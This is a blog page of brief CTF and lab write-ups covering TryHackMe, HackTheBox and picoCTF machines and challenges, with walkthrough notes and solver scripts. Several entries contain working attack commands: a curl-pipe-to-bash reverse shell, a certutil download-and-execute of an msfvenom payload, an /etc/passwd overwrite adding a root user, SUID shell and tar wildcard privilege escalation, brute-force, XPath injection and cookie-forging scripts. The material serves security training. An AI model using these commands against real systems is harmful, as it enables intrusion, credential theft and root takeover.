e

emacab98

Penetration tester, cyber security student, CTF enthusiast. The writeups on this page aren't the most beautiful ones nor the most explicative, but they are supposedly short and to the point. If you need a nudge in the right direction or you want a second look on a machine you completed, these are quick reads for your fast-paced, (hopefully) ethical, hacker life. Merry Hacking!

Vulnnet Endgame - THM - Key Points

  • Initial scan reveals 22 and 80. We also have a domain name from the introduction of the box, so we can enumerate for subdomains
  • Run gobuster vhost -u http://vulnnet.thm -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
  • I found 4 more valid domains, blog, api, shop and admin1
  • Brute forcing for directories in the admin1 domain reveals some interesting ones, like vendor, fileadmin, typo3temp, typo3
  • Typo3 seems to be an open source CMS, we lack credentials to login though
  • Analyzing the blog, we notice that opening blog posts triggers a request to the api domain that contains a blog parameter, like this one: /vn_internals/api/v2/fetch/?blog=5 
  • Tampering with the parameter shows it is vulnerable to SQL Injection, so we can use sqlmap to automate the process of dumping the contents of the DB
  • Using the --dbs flag we retrieve three possible databases to enumerate: blog, information_schema and vn_admin
  • The blog database contains a list of usernames and passwords that we can retrieve like this: sqlmap -r VULNNET -D blog -T users -C username,password --dump
  • Also, in the vn_admin database there is another username-password tuple, which can be retrieved like this: sqlmap -r VULNNET -D vn_admin -T be_users -C username,password --dump
  • The hash in vn_admin can be cracked using the password list found in the blog db, and now we can access Typo3 as chris_w
  • There is a known way to achieve RCE from Typo3 once you are authenticated: you can change the configuration to allow PHP uploads, so you can use a simple PHP reverse shell
  • We are now www-data. Only user that stands out on the box is a system user
  • In system's home there is a mozilla directory containing Firefox profiles. We can use Firefox Decrypt to find hidden credentials in one of these profiles, and use these credentials to escalate to the system user
  • Running getcap -r / 2>/dev/null we find out that a version of openssl in our home can be used to escalate to root. As reported from GTFObins, we can use it to write to files. We can use the following instruction to add a new user to the box that has the same privileges as root, and our job is done
  • The instruction is the following
echo "root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:105:111::/run/uuidd:/usr/sbin/nologin
avahi-autoipd:x:106:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
rtkit:x:109:114:RealtimeKit,,,:/proc:/usr/sbin/nologin
cups-pk-helper:x:110:116:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:111:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
whoopsie:x:112:117::/nonexistent:/bin/false
kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:114:119::/var/lib/saned:/usr/sbin/nologin
avahi:x:115:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
colord:x:116:121:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
hplip:x:117:7:HPLIP system user,,,:/var/run/hplip:/bin/false
geoclue:x:118:122::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:119:123:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:120:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:121:125:Gnome Display Manager:/var/lib/gdm3:/bin/false
system:x:1000:1000:system,,,:/home/system:/bin/bash
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
mysql:x:122:127:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:123:65534::/run/sshd:/usr/sbin/nologin
root2:WVLY0mgH0RtUI:0:0:root:/root:/bin/bash" | ./openssl enc -out "/etc/passwd"
  • In this case, root2's password is mrcake. Just su to root2 and get the last flag. Merry hacking ;)

RingZer0CTF - Hash me if you can

We need to create a small script in order to be quick enough to solve this challenge, as we cannot possibly copy the message, hash it and send the correct request in under two seconds.

The script to solve this challenge is fairly straightforward, here it is:

import requests
import hashlib

x = requests.get('http://challenges.ringzer0team.com:10013/')
if '----- BEGIN MESSAGE -----' in x.text:
    start = x.text.index('----- BEGIN MESSAGE -----') + len('----- BEGIN MESSAGE -----') + 15 #15 is required to exclude the br html tag and some newlines, the same goes for the other 15 on the next line
    stop = x.text.index('----- END MESSAGE -----') - 15
    message = x.text[start:stop]
    result = hashlib.sha512(message.encode('utf-8')).hexdigest()
    url = 'http://challenges.ringzer0team.com:10013/?r=' + result
    y = requests.get(url)
    print(y.text)
What it does is look for the position of the message inside the HTML response received from the server, hashes it using the correct algorithm and sends it over to the server to retrieve the FLAG.


Nunchuks - HTB - Key Points

  • Open ports: 22, 80 and 443 after a super quick scan
  • Certificate from 443 reveals a domain, nunchucks.htb
  • Subdomain enumeration reveals another possible target, store.nunchucks.htb
  • The store has a newsletter subscription function that reflects the email address provided. Using Wappalyzer, we can see the website is running on NodeJS, so let's look for SSTI on NodeJS
  • Hacktricks suggests the following payload to try out: {{7*7}}. This should return 49. It is the payload listed under the template engine NUNJUCKS, which also seems a strong hint that we are on the right path, considering the name of the box...
  • In the same section, Hacktricks provides a full reverse shell SSTI, just edit IP and PORT to your liking. Alternatively, the command in Hacktricks to read /etc/passwd can be edited to do anything you like. The possibilities for a reverse shell here are endless. I simply used curl to load a script on the box and bash to execute it, like this: curl http://IP:PORT/rev.sh | bash
  • Now that you are the low privileged user on the box, run the usual privesc checks, the one needed on this box shouldn't be too far down your list (plus, it is automatically detected by wonderful tools like linpeas and such). The perl binary has the cap_setuid capability set. You could run the following command (as per GTFObins) to escalate to root: perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
  • It does not work. Why? We can look at the AppArmor profile to see that, albeit the setuid capability, the possibilities for the perl binary are fairly limited. Looking on Google for Perl AppArmor bypasses, though, you will see that the AppArmor profile is not applied when the code is in a script launched autonomously using a she-bang to specify the programming language used. So we simply paste the GTFObins code in a file that starts with #!/usr/bin/perl, make it executable and launch it
  • Now that you are root, grab both flags on the box and, as always, merry hacking ;)

Shocker - HTB - Key Points

  • Open port on 80 and a 2222 which is actually an SSH over deeper inspection (detect the specific port using sV in nmap)
  • Enumeration of the web server won't reveal much besides a cgi-bin directory, fuzzing for scripts returns a user.sh script
  • We can try and exploit this with Shellshock, using the metasploit module exploit/multi/http/apache_mod_cgi_bash_env_exec. This gives us low privileged access on the box
  • Running "id" we see our user is part of the lxd group, meaning we can immediately escalate to root privileges, as explained here
  • Merry hacking ;)

basic-mod-2 - picoCTF 2022

import string
alphabet = string.asciiuppercase + string.digits + ""
code = "104 85 69 354 344 50 149 65 187 420 77 127 385 318 133 72 206 236 206 83 342 206 370"
words = code.split(" ")
result = ""
for word in words:
    module = int(word) % 41
    for i in range (41):
        if((module * i ) % 41 == 1 ):
            result += alphabet[i-1]
            break
print(result)

basic-mod-1 - picoCTF 2022

import string
alphabet = string.ascii_uppercase + string.digits + "_"
code = "202 137 390 235 114 369 198 110 350 396 390 383 225 258 38 291 75 324 401 142 288 397"
words = code.split(" ")
result = ""
for word in words:
    result += alphabet[int(word) % 37]
print(result)

substitution0, 1 and 2 - picoCTF 2022

Uncomment cipher, plain and crypt to solve either the first, second or third substitution challenge.

Always start with the assumption that the last few words are "the flag is picoCTF{<something>}" and you already have the substitution for some of the letters. With these, you can try to understand what is missing looking at the English text and add letters to the substitution until you get a fully formed text (and the flag).

#cipher = '''QWITJSYHXCNDFERMUKGOPVALBZ 
#Hjkjpmre Djykqet qkrgj, axoh q ykqvj qet goqojdb qxk, qet wkrpyho fj ohj wjjodj
#skrf q ydqgg iqgj xe ahxih xo aqg jeidrgjt. Xo aqg q wjqpoxspd giqkqwqjpg, qet, qo
#ohqo oxfj, penerae or eqopkqdxgog—rs irpkgj q ykjqo mkxzj xe q gixjeoxsxi mrxeo
#rs vxja. Ohjkj ajkj oar krpet wdqin gmrog ejqk rej jlokjfxob rs ohj wqin, qet q
#drey rej ejqk ohj rohjk. Ohj giqdjg ajkj jlijjtxeydb hqkt qet ydrggb, axoh qdd ohj
#qmmjqkqeij rs wpkexghjt yrdt. Ohj ajxyho rs ohj xegjio aqg vjkb kjfqknqwdj, qet,
#oqnxey qdd ohxeyg xeor iregxtjkqoxre, X irpdt hqktdb wdqfj Cpmxojk srk hxg rmxexre
#kjgmjioxey xo.
#Ohj sdqy xg: mxirIOS{5PW5717P710E3V0DP710E03055505}'''
#plain = 'theflagispcornudywmbkx' these were good for the first substitute
#cryp = 'ohjsdqyxgmirkeptbafwnl'
#cipher = '''WYHg (gzray hra wimybas yzs hvij) ias i yums rh wrombysa gswbakyu wromsykykrl. Wrlysgyilyg ias masgslysn dkyz i gsy rh wzivvsljsg dzkwz ysgy yzska wasiykxkyu, yswzlkwiv (iln jrrjvklj) gckvvg, iln marqvso-grvxklj iqkvkyu. Wzivvsljsg bgbivvu wrxsa i lboqsa rh wiysjraksg, iln dzsl grvxsn, siwz uksvng i gyaklj (wivvsn i hvij) dzkwz kg gbqokyysn yr il rlvkls gwraklj gsaxkws. WYHg ias i jasiy diu yr vsial i dkns iaaiu rh wrombysa gswbakyu gckvvg kl i gihs, vsjiv slxkarlosly, iln ias zrgysn iln mviusn qu oilu gswbakyu jarbmg iarbln yzs dravn hra hbl iln maiwykws. Hra yzkg marqvso, yzs hvij kg: mkwrWYH{HA3FB3LWU4774WC54A3W0017II384QW}
#
#'''
#plain = 'isflagthepcorumyndwvkbq'
#cryp = 'kghvijyzsmwraboulndxcqf'

cipher = '''xidcddhsgxgdqdcjvwxidczdvvdgxjyvsgidrisoigtiwwvtwufbxdcgdtbcsxltwufdxsxswpgsptvbrspotlydcfjxcswxjprbgtlydctijvvdpodxidgdtwufdxsxswpgawtbgfcsujcsvlwpglgxdugjruspsgxcjxswpabprjudpxjvgzistijcdqdclbgdabvjprujcmdxjyvdgmsvvgiwzdqdczdydvsdqdxidfcwfdcfbcfwgdwajisoigtiwwvtwufbxdcgdtbcsxltwufdxsxswpsgpwxwpvlxwxdjtiqjvbjyvdgmsvvgybxjvgwxwodxgxbrdpxgspxdcdgxdrspjprdhtsxdrjywbxtwufbxdcgtsdptdrdadpgsqdtwufdxsxswpgjcdwaxdpvjywcswbgjaajscgjprtwudrwzpxwcbppspotidtmvsgxgjprdhdtbxspotwpasogtcsfxgwaadpgdwpxidwxidcijprsgidjqsvlawtbgdrwpdhfvwcjxswpjprsufcwqsgjxswpjprwaxdpijgdvdudpxgwafvjlzdydvsdqdjtwufdxsxswpxwbtispowpxidwaadpgsqddvdudpxgwatwufbxdcgdtbcsxlsgxidcdawcdjydxxdcqdistvdawcxdtidqjpodvsguxwgxbrdpxgspjudcstjpisoigtiwwvgabcxidczdydvsdqdxijxjpbprdcgxjprspowawaadpgsqdxdtipsnbdgsgdggdpxsjvawcuwbpxspojpdaadtxsqdrdadpgdjprxijxxidxwwvgjprtwpasobcjxswpawtbgdptwbpxdcdrsprdadpgsqdtwufdxsxswpgrwdgpwxvdjrgxbrdpxgxwmpwzxidscdpduljgdaadtxsqdvljgxdjtispoxiduxwjtxsqdvlxispmvsmdjpjxxjtmdcfstwtxasgjpwaadpgsqdvlwcsdpxdrisoigtiwwvtwufbxdcgdtbcsxltwufdxsxswpxijxgddmgxwodpdcjxdspxdcdgxsptwufbxdcgtsdptdjuwpoisoigtiwwvdcgxdjtispoxidudpwboijywbxtwufbxdcgdtbcsxlxwfsnbdxidsctbcswgsxluwxsqjxspoxiduxwdhfvwcdwpxidscwzpjprdpjyvspoxiduxwydxxdcrdadprxidscujtispdgxidavjosgfstwTXA{P6C4U4P41L5151573R10B5702A03AT}'''
plain = 'picotfslaghenmurydwvbkx'
cryp = 'fstwxagvjoidpubclrzqymh'
result = ''
cipher = cipher.lower()
for letter in cipher:
    if letter in cryp:
        position = cryp.find(letter)
        result += plain[position]
    else:
        result += letter
print(result)

transposition-trial - PicoCTF 2022

cipher = "heTfl g as iicpCTo{7F4NRP051N51635P3X51N3_V091B0AE}2"
result = ""
for i in range(2, len(cipher), 3):
    result += cipher[i] + cipher[i-2] + cipher [i-1]
    print(result)
    

Most Cookies - PicoCTF

Followed explanation at this link

Just remember to put your cookie inside the cookie variable and update the wordlist with the possible secrets used to sign the cookie.

import flask
import hashlib
from sys import argv
from flask.json.tag import TaggedJSONSerializer
from itsdangerous import URLSafeTimedSerializer, TimestampSigner, BadSignature
cookie = 'eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.Yh4n3A.tAnfOTWKodF6TbdczS-Pt-JPzdM'
wordlist = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
for secret in wordlist:
    try:
        serializer = URLSafeTimedSerializer(
            secretkey=secret,
            salt='cookie-session',
            serializer=TaggedJSONSerializer(),
            signer=TimestampSigner,
            signer
kwargs={
                'keyderivation':'hmac',
                'digestmethod': hashlib.sha1}).loads(cookie)
    except BadSignature:
        continue
    print('Secret key: {}'.format(secret))
    session = {'veryauth': 'admin'}
    print(URLSafeTimedSerializer(secretkey=secret, salt='cookie-session', serializer=TaggedJSONSerializer(),signer=TimestampSigner,signerkwargs={'keyderivation': 'hmac', 'digest_method': hashlib.sha1}).dumps(session))

caas - PicoCTF

Look at the JS provided, while at a first look you might think there might be some SSTI involved, once you look at the code it's clear: Node runs a system command inserting user input. We only need to stop the current program's execution and start something more useful. A combination of a semicolon and anything else you might want to use is fine. For example, I used ls to see file names in the current directory and then printed the one that interested me, like this:

https://caas.mars.picoctf.net/cowsay/message;%20cat%20falg.txt

X marks the spot - pico

import requests
import string
chars = string.ascii_lowercase + string.ascii_uppercase + string.digits + "}_"
flag = "picoCTF{"
while True:
    for char in chars:
        result = requests.post("http://mercury.picoctf.net:20297/", data = {"name": "' or //*[starts-with(text(), '"+flag+char+"')] or 'a'='b", "pass":"pass"})
        if "right path" in result.text:
            flag += char
            print("Added char: " + flag)
            break

Zeno - THM

At first, after a basic scan, there is only a 12340 TCP port open and SSH on 22. Connecting to it using netcat reveals this is an Apache 2.4.6 webserver, running on PHP 5.4.16.

Using a directory scanner, we find out there is RMS installed on the webserver.

In our manual scraping of the website, we can notice that, once we create an account, we get a sample message from an account called "administrator", and in the Contact Us section there is an email address that is registered to the domain pathfinderhotel.com, so maybe we could try to brute force login credentials for an administrator@pathfinderhotel.com.

In the meanwhile, checking the software RMS, there is an unauthenticated RCE available, allows to upload a webshell in PHP, so I used that and launched a reverse shell to start enumerating what is on the box.

We can see there is an edward user by checking the /home directory, and we can also see some DB credentials reading the config.php of the RMS web server. Using those credentials we can check the content of the DB running on the local machine. In the member table of the dbrms database we can find some credentials, including a hashed password for an edward zeno user. The hash is MD5, we can crack it and retrieve the password required to escalate our current shell to the edward user.

But this is not our lucky day, as the hash is not easily cracked. We need to run a privilege escalation checker now, hoping for some privesc suggestion.

Linpeas suggests we have write privileges over a service, which might be useful later on, but also suggests that there are passwords in /etc/fstab, which is true for a zeno user. The password, however, seems to work for our edward user as well, so here we get our first flag.

We can now run linpeas once again, and go along with our usual privesc checks. We can run reboot with sudo, we might exploit that writable service linpeas showed us before. If we modify its ".service" file and we include in its ExecStart:

/bin/bash -c 'cp /usr/bin/bash /var/tmp/shell && chmod +s /var/tmp/shell'

we can then reboot the machine as sudo and once it's up again we can login as edward and launch our suid shell to act as root, job finished.

Merry hacking ;)

Skynet - THM - Braindump

There is a web server and samba running, automatically scan both using dirb and enum4linux.

The web page served is a useless search, nothing in the source code either.

There is anonymous listing enabled on the samba server, there are some directories to examine.

Dirb returned a login form exposed on a /squirrelmail directory, there is also a version number: 1.4.23

There is a known RCE for this version, but requires login credentials. Maybe we have a username (milesdyson) but password?

In the meanwhile, we can access two files only on the samba server, a message saying many passwords have been changed, so maybe it is an easy one to bruteforce? and we have some logs as well. Logs 2 and 3 are empty, but the first one seems like a wordlist, maybe we can bruteforce our squirrelmail login for milesdyson.

We bruteforce using

hydra -l milesdyson -P log1.txt 10.10.92.158 http-post-form  '/squirrelmail/src/redirect.php:loginusername=USER&secretkey=PASS&jsautodetectresults=1&justlogged_in=1:Unknown user or password incorrect.'

It works like a charm and we have credentials to login, let's try to use that RCE...actually, before this, let's take a look inside the squirrelmail server, there is the smb password for milesdyson, and there we can find a reference to a hidden directory called 45kra24zxs28v3yd, let's check that out.
Running gobuster against it, there is an administrator login form revealing this is a Cuppa CMS. There is a known exploit that lets us include a remote file, we can include the php-reverse-shell and get a shell as www-data
Looking at the crontab, there is a tar running with shell expansion with root privileges, we just need to add two special files to /var/www/html to get a root shell, just add --checkpoint=1 and --checkpoint-action=exec=<command to run> in the directory.


Info steps:

  • Gathered a username, milesdyson
  • Squirrelmail 1.4.23
  • Bruteforce credentials using log1.txt, retrieved from SMB server
  • Read emails, find secret directory
  • Directory bust sub directories, find vulnerable CMS
  • Exploit with RFI, gain low level shell
  • Exploit tar running with shell expansion as root
  • Merry hacking

Alfred - THM - Braindump

There are two web servers, one on 80 revealing an email address, and one on 8080 that is a Jenkins login page. Jenkins has, notoriously, a poor password policy.

Searching on Google, default is admin. Tried simple combinations, admin:admin worked.

We can modify the configuration for the existing project and insert a build command to run when building it, we can try to launch a reverse shell from it.

We can use this command in the build:

certutil.exe -urlcache -split -f http://10.9.4.63:8000/Advanced.exe & Advanced.exe

where Advanced.exe is a msfvenom-generated payload to launch the reverse connection to my machine

Then I used this shell to launch a reverse meterpreter, can use the extra help of meterpreter. I load PowerUp to enumerate for possible privesc vectors. Says we already are local admins. I used load incognito and list_tokens -g to see if we could impersonate another user.

We can impersonate BUILTIN\Administrator, impersonate_token "BUILTIN\Administrator" and we are NT Authority System. We still need to migrate to actually have these privileges, first run ps and then migrate to the PID of the services.exe process. We can now read root.txt in the config directory.

Steel Mountain - THM - Braindump

After an initial scan, there are ports that suggest this is a Windows box. There is also a web server on 80, shows an image and nothing more. Nothing found using dirbuster.

There is also another web server, on 8080. Reading the source of the page, this shows a name and a version, Rejetto HFS 2.3. There are some known RCE exploits for this specific version, one in metasploit called exploit/windows/http/rejettohfsexec, let's try this one. 

Seems to work, meterpreter shell opened. We are user bill in a steelmountain domain. We can get the user flag in his desktop. Now we need a privesc vector.

We can use PowerUp loading it with meterpreter, it shows an unquoted service path escalation vector. We could have found this by running 'powershell -c "Get-Service"' as well. We can use msfvenom to create a suitable payload with the following command:

└─# msfvenom -p windows/shellreversetcp lhost=10.9.4.63 lport=2222 -f exe -o Advanced.exe
We can then upload it in the proper directory and restart the service running (in a Powershell shell):
Restart-Service -name AdvancedSystemCareService9
We are now NT authority system, job done

Road - THM

Road - THM

There is an SSH port open and a web server. With no credentials, the web server is a better option right now.

I started by looking around the website: there is the information about who created the platform right in front of you, but I could not turn that into valuable info with a basic search. I registered an account and logged in. Snoop around the authenticated pages, and you see there is a functionality to upload a profile picture, but it is admin-only. However, this tells us the email for the admin, we can try to brute force and obtain the password now.

While bruteforcing, notice that there is the opportunity to change your current password. Intercept the request and reset the admin's one. There is no authorization check, so we can now login as the admin.

Now we can try to upload a reverse shell as a profile image.

When you upload, analyze the response. It says "Image saved" but gives you no direction as to where it was saved. Either search for "profile" or scroll a little further down in the response and you should catch a reference to a /v2/profileimages directory, you can go there and catch your reverse shell (careful, go straight for your file as directory listing is disabled for this one).

We now have a beautiful shell and we can read the user.txt flag.

Snooping around, the /etc/passwd reveals there are both mysql and mongo on the box.

Tried with mysql first, nothing. Running "mongo", instead, gives us the mongo cli prompt. Enumerating the DB, there is a backup database containing a user table where we can find the credentials for the user "webdeveloper".

With these credentials we can just kill our reverse shell and open an SSH connection to the box.

Our new user has sudo privileges to run a binary as any other user, including root. Running strings on this binary reveals that it runs the following command:

tar -czvf /root/.backup/sky-backup.tar.gz /var/www/html/*
Off to GTFObins we go, to see if we can insert something tasty in /var/www/html and exploit this shell expansion... but seems like we can't exploit this, so back to the drawing board.

Read carefully the output of "sudo -l" and notice that you can change the default behaviour when preloading libraries when processes start. Everything you need to gain a root shell is explained here.
Merry hacking ;)